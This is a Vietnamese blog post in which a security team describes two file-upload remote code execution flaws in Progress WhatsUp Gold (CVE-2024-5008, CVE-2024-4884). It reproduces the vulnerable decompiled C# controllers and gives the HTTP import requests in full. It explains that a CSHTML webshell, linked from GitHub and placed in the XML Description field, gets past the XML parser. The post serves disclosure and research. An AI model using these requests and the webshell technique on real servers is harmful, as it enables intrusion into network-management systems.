Đợt vừa rồi mình cùng @lengocanh cũng target vào Whatsup Gold, tuy kết quả chưa thật sự tốt nhưng cũng có để lại một vài bài học cho ae trong team

TL;DR

Trong quá trình nghiên cứu và kiểm thử bảo mật WhatsUp Gold, team mình đã phát hiện ra ba lỗ hổng nghiêm trọng: một lỗ hổng Remote Code Execution (RCE) mà không cần xác thực, một lỗ hổng RCE yêu cầu xác thực và một lỗ hổng Local File Inclusion (LFI) không cần xác thực. Mặc dù kết quả chưa thực sự tốt, nhưng quá trình nghiên cứu này đã mang lại nhiều bài học quý báu và giúp nâng cao kỹ năng cho các thành viên trong team.

Giới thiệu

WhatsUp Gold là một sản phẩm của Progress Software Corporation (trước đây là Ipswitch) chuyên về quản lý mạng và giám sát hiệu suất. Đây là một giải pháp toàn diện giúp các tổ chức quản lý và giám sát cơ sở hạ tầng mạng của họ, từ các thiết bị mạng đến các ứng dụng và dịch vụ chạy trên đó. WhatsUp Gold là một công cụ mạnh mẽ và linh hoạt trong việc giám sát và quản lý mạng, được sử dụng rộng rãi bởi các tổ chức và doanh nghiệp trên thế giới để đảm bảo rằng cơ sở hạ tầng mạng của họ luôn hoạt động ổn định và hiệu quả.

Có thể nói Whatsup Gold là một sản phẩm C2 (Command & Control) hợp pháp, vì có khả năng giám sát và quản lý các thiết bị mạng từ xa. Điều này bao gồm việc thu thập thông tin và điều khiển các agent cài đặt trên các thiết bị đó.

Setup

Setup debug khá đơn giản, ở đây mình sử dụng ILSpy để extract source code, và Jetbrain Rider để debug

Progress Software WhatsUp Gold APM Unrestricted File Upload Remote Code Execution Vulnerability

CVE-2024-5008 https://www.zerodayinitiative.com/advisories/ZDI-24-895/

Lỗ hổng ở đây rất đơn giản, giống như việc team mình tìm ra được.

Đơn giản chỉ là search WriteAllText và đọc cái kết quả đầu tiên tìm ra được, trúng lỗi luôn :D

image.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public async Task<HttpResponseMessage> Post(string fileName, int uploadOption)
{
  AppProfileImportController importController = this;
  if (!importController.Request.Content.IsMimeMultipartContent())
    return importController.getResponse(new ResultModel()
    {
      message = "MESSAGE_ERROR_APPLICATION_IMPORT_BAD_POST",
      success = false
    });
  string str = await (await importController.Request.Content.ReadAsMultipartAsync()).Contents.Last<HttpContent>().ReadAsStringAsync();
  EntityAPMApplication app;
  try
  {
    using (StringReader reader = new StringReader(str))
      app = importController.getApp(reader);
  }
  catch
  {
    return importController.getResponse(new ResultModel()
    {
      message = "MESSAGE_ERROR_APPLICATION_IMPORT_BAD_FILE",
      success = false
    });
  }
  if (uploadOption == 0 && System.IO.File.Exists(importController.getPath(fileName)))
    return importController.getResponse(new ResultModel()
    {
      message = "FILE_EXISTS",
      success = false
    });
  Version apmVersion = Version.Parse(importController.api.GetAPMVersion());
  if (!importController.checkVersion(app, apmVersion))
    return importController.getResponse(new ResultModel()
    {
      message = "MESSAGE_ERROR_APPLICATION_IMPORT_BAD_VERSION",
      success = false
    });
  if (uploadOption == 2)
    return importController.makeFileCopy(fileName, app, str);
  if (importController.api.GetImportType(app) == ApplicationProfileImportType.Duplicate)
    return importController.getResponse(new ResultModel()
    {
      message = "MESSAGE_ERROR_APPLICATION_IMPORT_DUPLICATE",
      success = false
    });
  System.IO.File.WriteAllText(importController.getPath(fileName), str);
  return importController.getResponse(new ResultModel()
  {
    success = true
  });
}

Lỗ hổng này nằm trong đoạn code của file AppProfileImportController.cs và được khai thác thông qua phương thức WriteAllText. Phần fileName không được kiểm tra và lọc trước khi sử dụng. Điều này cho phép người dùng đặt tên file tùy ý, bao gồm cả các file có phần mở rộng nguy hiểm như .cshtml hoặc .aspx. Trên .NET, các file này có thể chứa shell và khi được tải lên và thực thi, chúng sẽ cho phép kẻ tấn công RCE.

Nội dung của file cần tuân theo định dạng được xử lý bởi hàm getApp. Hàm này sử dụng XmlSerializer để deserialize nội dung file từ định dạng XML thành đối tượng EntityAPMApplication:

1
private EntityAPMApplication getApp(StringReader reader) => (EntityAPMApplication) new XmlSerializer(typeof (EntityAPMApplication)).Deserialize((TextReader) reader);

Vậy cấu trúc http request của chức năng Import Profile sẽ như sau

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /NmConsole/api/core/AppProfileImport?fileName=a.xml&uploadOption=0 HTTP/1.1
...
------WebKitFormBoundarycAEgTQJKJabpFKcB
Content-Disposition: form-data; name="filefield-1678-button"; filename="a.xml"
Content-Type: text/xml

<?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
aa
</EntityAPMApplication>
------WebKitFormBoundarycAEgTQJKJabpFKcB--

Và tính năng Import Profile trên giao diện web ở đây image.png

RCE

Một điểm cần lưu ý là không thể sử dụng shell ASPX cho việc khai thác này, vì shell ASPX chứa các ký tự <> sẽ gây lỗi khi được xử lý bởi hàm XmlSerializer trong quá trình deserialize. Điều này khiến việc sử dụng shell ASPX không khả thi trong trường hợp này.

Để vượt qua hạn chế này, ta có thể sử dụng shell CSHTML, một loại shell không chứa các ký tự <>, giúp tránh được lỗi khi deserialize nội dung XML. Shell CSHTML có thể execute được lệnh system.

Có thể tìm kiếm vài shell cshtml trên mạng, ở đây mình đã dùng shell này https://github.com/niemand-sec/RazorSyntaxWebshell/blob/master/webshell.cshtml

image.png

image.png

Upload shell lên server thành công, bây giờ chỉ cần truy cập vào được file shell là có thể RCE

image.png

Để khai thác được lỗ hổng này, user cần có quyền import profile thì mới có thể khai thác được, cho nên CVSS chỉ ở 8.8

Progress Software WhatsUp Gold CommunityController Unrestricted File Upload Remote Code Execution Vulnerability

CVE-2024-4884 https://www.zerodayinitiative.com/advisories/ZDI-24-894/ Lỗi này cũng tương tự giống lỗi trên, vẫn sử dụng chức năng Import nhưng ở API khác

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[HttpPost]
public ActionResult Import(IEnumerable<HttpPostedFileBase> importFiles)
{
  try
  {
    foreach (HttpPostedFileBase importFile in importFiles)
    {
      if (importFile.ContentType != "text/xml")
        throw new Exception("File imports need to be xml content");
      string fileName = string.Empty;
      try
      {
        CommunityController._model.ImportProfileFromDisk(importFile, this._GetPublicKeyFileName(), out fileName);
        if (string.Compare(importFile.FileName, "PublicKey.xml", true) != 0)
          importFile.SaveAs(Path.Combine(this.Server.MapPath("~/Content/APM/Import"), importFile.FileName));
      }
      catch (Exception ex)
      {
        string content = ex.Message;
        if (ex.InnerException != null && !string.IsNullOrWhiteSpace(ex.InnerException.Message))
          content = content + Environment.NewLine + ex.InnerException.Message;
        return (ActionResult) this.Content(content);
      }
    }
    return (ActionResult) this.Content(string.Empty);
  }
  catch (Exception ex)
  {
    return (ActionResult) this.Content(ex.Message);
  }
}

Lỗ hổng này xuất phát từ việc sử dụng phương thức SaveAs để lưu nội dung của file import vào hệ thống tệp. Cụ thể, đoạn code sau đây:

1
importFile.SaveAs(Path.Combine(this.Server.MapPath("~/Content/APM/Import"), importFile.FileName));

Tương tự như WriteAllText bên trên, SaveAs cũng lưu file được upload vào đường dẫn chỉ định mà không kiểm tra hoặc lọc tên file một cách đầy đủ.

Nội dung của file cần tuân theo định dạng XML như yêu cầu bởi hàm ImportProfileFromDisk. Ví dụ về nội dung file hợp lệ:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Description></Description>
  <RequiredAPMVersion>4.0</RequiredAPMVersion>
  <UpgradeGUID>f23ea4eb-8de5-4724-9fb8-04cef804c036</UpgradeGUID>
  <Groups />
</EntityAPMApplication>

Thật ra để lấy nội dung file hợp lệ, chỉ cần vào C:\Program Files (x86)\Ipswitch\WhatsUp\html\NmConsole\Content\Apm\Import lấy file XML bất kỳ nào đó cũng được, sau đó thực hiện Import, sẽ gặp một lỗi là An application profile with same upgrade GUID already exists. Parameter name: UpgradeGUID thì thay đổi giá trị UpgradeGUID là xong.

Và đây là request hợp lệ

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
POST /NmConsole/Community/Import HTTP/1.1
Host: 172.24.163.27
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 497

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="importFiles"; filename="abc.xml"
Content-Type: text/xml

<?xml version="1.0"?>
<EntityAPMApplication xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Description></Description>
  <RequiredAPMVersion>4.0</RequiredAPMVersion>
  <UpgradeGUID>f23ea4eb-8de5-4724-9fb8-04cef804c035</UpgradeGUID>
</EntityAPMApplication>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Vẫn tương tự như trên, mình sử dụng shell cshtml được chèn vào phần Description do không bị giới hạn độ dài, và thế thôi :D

Ref